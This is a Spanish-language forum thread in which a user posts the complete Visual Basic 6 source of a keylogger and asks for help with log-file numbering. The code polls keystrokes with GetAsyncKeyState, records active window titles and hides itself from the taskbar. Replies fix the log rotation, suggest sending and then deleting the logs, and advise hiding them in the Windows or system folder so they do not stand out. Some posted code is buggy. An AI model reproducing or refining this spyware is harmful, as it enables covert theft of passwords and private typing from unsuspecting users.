hace un tiempo intente hacer un keylogger.. incluso postie para que me ayudaran en como generar los logs..
el problema es que cuando genera el log, ( lo genera con nombre log1, i el siguiente con log2, etc) cuando uno cierra el keylogger y lo inicia de nuevo, empieza a remplazar los logs
(se preguntaran como lo cierra, x ejemplo al apagar el pc)
tiene un funcionamiento simple, tiene un label, que kada 1 seg le suma 1, i al llegar a 1800, genera el log i limpia el text1, esa parte funciona bien
aka va el code
Dim KTime As Integer
Dim n As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean
Private Sub Form_Load()
KTime = 0
Timer2.Interval = 1000
Form1.Visible = True
App.TaskVisible = False
n = 1
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"
ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"
ChangeChr(48) = ")"
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "^"
ChangeChr(55) = "&"
ChangeChr(56) = "*"
ChangeChr(57) = "("
ChangeChr(186) = ";"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "/"
ChangeChr(219) = "["
ChangeChr(220) = "\"
ChangeChr(221) = "]"
ChangeChr(222) = "'"
ChangeChr(86) = ":"
ChangeChr(87) = "+"
ChangeChr(88) = "<"
ChangeChr(89) = "_"
ChangeChr(90) = ">"
ChangeChr(91) = "?"
ChangeChr(119) = "{"
ChangeChr(120) = "|"
ChangeChr(121) = "}"
ChangeChr(122) = """"
ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"
ChangeChr(192) = "`"
ChangeChr(92) = "~"
End Sub
Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String
Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function
Private Sub Timer1_Timer()
'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & "[ALTUP]"
End If
'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & "[ALTDOWN]"
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & "[ALTUP]"
End If
End If
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If
'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & "[Enter]"
End If
'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & "[BackSpace]"
End If
'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & "[LeftArrow]"
End If
'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & "[UpArrow]"
End If
'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & "[RightArrow]"
End If
'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & "[DownArrow]"
End If
'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & "[Tab]"
End If
'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & "[Escape]"
End If
'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next
'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
Text1 = Text1 & "[LeftClick]"
End If
End If
End Sub
Private Sub Timer2_Timer()
KTime = KTime + 1
If KTime = 1800 Then
Dim fnum As Integer
't = t + 1
' If t < 30 Then Exit Sub
On Error GoTo Ninguno
fnum = FreeFile
Open "C:\log" & n & ".txt" For Output As fnum
Print #fnum, Text1.Text
Close fnum
n = n + 1
' t = 0
Text1.Text = "" 'vacia el textbox
Ninguno:
KTime = 0
End If
Label1.Caption = KTime
End Sub
alguien me podria ayudar???
GraCiaS de AnteManO!
Utiliza Api Hooking, el GetAnsycKeyState no funciona bien y consume muchos recursos al estar dentro de un timer.
Saludos!!
gracias! pero.. de todas maneras sigo sin resolver mi duda :huh: algien me ayuda plx??? :rolleyes:
gracias de antemano!
En vez de output(qu si existe sobreescribe) usa Append que si existe escribe a continuacion.
No sé si esa es tu duda.
siiiiii! aora lo pruebo! muchas graaacias, justo lo que buscaba
aunke ai un pequeño problema.. como el archivo si existe i no lo remplaza, no se crea :S, mi idea es hacer en ves que siempre se sume 1, ponerle la hora y fecha del pc como name, eso nunca se repitiria :P
Esque te complicas la vida.
Mira como dices cuando el label llega a 1800(este truco lo podrias optimizar que es una chapuza,xD)Pues como dices graba el archivos de texto,bien,pues lo envias y lo eliminas.
Pero es que no te entiendo,append escribe a continuacion,sino existe lo crea,cual es tu problema?
La hora si se repite,xD,la fecha tambien,si pones intervalo 1800,xD,digo yo que en 24 horas no canvia,y la hora al dia siguiente,pues....
Puedes comprobar si el archvio existe y entonces realizar una accion,por ejemplo cambiar el nombre con que lo ibas a guardar.
Peor no entendi tu pregunta,explciate mejor.
esque, cambie output, por append como dijiste, i lo probe, i esta ves no lo remplaza.. pero tampoco lo guarda, me podrias decir exactamente como lo pongo?? que al parecer no lo entendi bien :D
Open "C:\log" & n & ".txt" For Append As fnum
ise exactamente lo que dijiste.. aora no lo remplaza, sino que agrega lo nuevo alfinal del log,
x ejemplo si el log salia "hola como estas", y lo nuevo es "bien y tu?" kedaria "hola como estasbien y tu?"
tiene que haber una forma de chequear si existe o no.. si existe que le sume 1.. alguien me entiende?xD
SI,xD.Esque tienes que poner & vbnewline,para que salte una linea,o vbcrlf.
Prueba añadiendo eso.
nononon! lo que quiero es que haya un nuevo log, x ejemplo si existe log1, que se cree con name log2
Pues haz lo que te diej,comprueba si el archivo existe y entonces si no existe lo guardas si existe pues por ejemplo digamos que el nombre esta en un label y que es 1 pues si existe que le suem 1 mas y vuelva a comprobar si existe.
Private Sub Command1_Click()
Dim contador As Long
Dim archivo As String
Dim ruta As String
label1.caption = 1
ruta = Dir$("c:\" & Label1.Caption & ".txt")
If ruta = "" Then
Open "c:\" & Label1.Caption & ".txt" For Output As #1
Print #1, , "ei"
close#1
Else
Label1.Caption = Label1.Caption + 1
Open "c:\" & Label1.Caption & ".txt" For Output As #1
Print #1, , "te"
Close #1
End If
End Sub
PD:Solucion chapuzera,xD.
perdon pero la verdad no entiendo el code xD
podrias comentarlo???
gracias por todo lo que me has ayudado! =')
Dim contador As Long 'se me ha colao haciendo pruebas(ahora el contador es el label)
Dim archivo As String
Dim ruta As String
label1.caption = 1 'el caption del label sea 1(podria ser 0)
ruta = Dir$("c:\" & Label1.Caption & ".txt") 'la variable ruta,comporbamos si existe c:\1.txt si no existe no nos devuleve nada por eso if ruta=""
If ruta = "" Then
Open "c:\" & Label1.Caption & ".txt" For Output As #1 'como no existe lo creamos
Print #1, , "ei"
close#1
Else 'si existe(osea que no devuelve cadena vaci sino que existe
Label1.Caption = Label1.Caption + 1 'le sumamso 1 al contador(el caption del label)
Open "c:\" & Label1.Caption & ".txt" For Output As #1 'abrimos esta vez será el nombre con 1 mas,es decir antes 1 ahora 2 despues 3....
Print #1, , "te"
Close #1
End If
Ya esta comentado si hay algo mas que no entiendas dimelo ;)
He comentado lo que supuse que no entendias,lo demas es facilito....
ia lo entendi! xD
pero al parecer no funciona muy bien =S
al principio va todo bien, genera los logs debidamente, etc, pero para probar, reinicie el keylogger, i en ves aora de guardar los logs, solo abre la carpeta C:\ podrias ver que pasa con el code??? lo habias probado??=S
este code ocupe
Private Sub Timer2_Timer()
KTime = KTime + 1
Label1.Caption = KTime
n = 1
If KTime = 100 Then
ruta = Dir$("c:\" & n & ".txt")
If ruta = "" Then
Open "c:\" & n & ".txt" For Output As #1
Print #1, , Text1.Text
Close #1
Else
n = n + 1
Open "c:\" & n & ".txt" For Output As #1
Print #1, , Text1.Text
Close #1
End If
Text1.Text = ""
KTime = 0
End If
End Sub
Claro,el problema es que si se reinicia pues vuelve a empezar :xD pues que hacemos?Pues podemso guardar el ultimo valor,al cerrarse el programa,y cuando se vuelva a iniciar retomralo sumandole 1.
Private Sub Form_Unload(Cancel As Integer)
Open "c:\contador.txt" For Output As 1
Print #1, , n
Close #1
End Sub
Private Sub Timer2_Timer()
Dim ruta1 As String
ruta1 = Dir$("C:\contador.txt")
If ruta1 = "" Then
n = 1
Else
Open "C:\contador.txt" For Input As #1
Dim texto As String
texto = Input(LOF(1), #1)
Close #1
n = texto+1
End If
KTime = KTime + 1
Label1.Caption = KTime
n = 1
If KTime = 100 Then
ruta = Dir$("c:\" & n & ".txt")
If ruta = "" Then
Open "c:\" & n & ".txt" For Output As #1
Print #1, , Text1.Text
Close #1
Else
n = n + 1
Open "c:\" & n & ".txt" For Output As #1
Print #1, , Text1.Text
Close #1
End If
Text1.Text = ""
KTime = 0
End If
End Sub
Espero que te funcione.
Otra cosa,esto no lo guardes en c:,que canta un monton,hazlo en system,en windows o un siito de estos.
Saludos.
wajaj x aora todo bien!
ia enverdad no se que hacer!!! no me funciona para nada, en el contador siempre ai un numero diferente, que no corresponde, y hasta probe abriendo el contador i poniendo 3 (ya habian 2 logs generados y queria un 3) y tampoco, el contador cambio a 2 y me lo remplazo..
QUE puedo hacer!!??!?!??!?!!?!? :-(
Jareth tiene razon... mientras leia los codigos tb habia pensado en esa opcion... haber si te lo falicito
(escribo el code aca nomas... no tengo ganas de ponerme a programar si no funciona avisame y lo hago bien)
dim contador as long
dim ruta as string
private sub form_load()
ruta= dir$("C:\contador.txt")
if ruta = "" then
contador = 1
else
Open "c:\contador.txt" For input As #1
contador = Input(LOF(1), #1)
Close #1
contador = contador + 1
Open "c:\contador.txt" For input As #1
Print #1, , contador
Close #1
end if
end sub
private sub timer1_timer()
Open "c:\log" & contador & ".txt" For input As #1
Print #1, , label1.caption
Close #1
contador = contador + 1
Open "c:\contador.txt" For input As #1
Print #1, , contador
Close #1
end sub
bueno espero q se entiendo la idea... y q funcione... basicamente lo q hace es q cuando se inicia el form verifica si existe el archivo contador.txt si existe se fija q valor tiene lo guarda en contador al cual despues se le suma uno, si no existe crea uno q empiese con 1
despues con un timer... o adaptalo a como vos lo vayas a usar cada un intervalo guarda lo q se escribio en la label1 y le suma otro valor al contador el cual tb se guarda
bueno espero q funcione... si hice algo mal corriganme.. xq la verdad q aca es la 1 37 am y me estoy muriendo de sueño!! jeje
La idea esta clara,hay varios problemas,que reinicias el contador,y pones if ktime=100,luego lo reinicias por lo que el metodo que te he dado no sirve,tienes que adaptarlo,no uses el contador de esa manera.
No se si me entiendes,mas tarde ya miraré de adaptarlo que ahora estoy ocupado.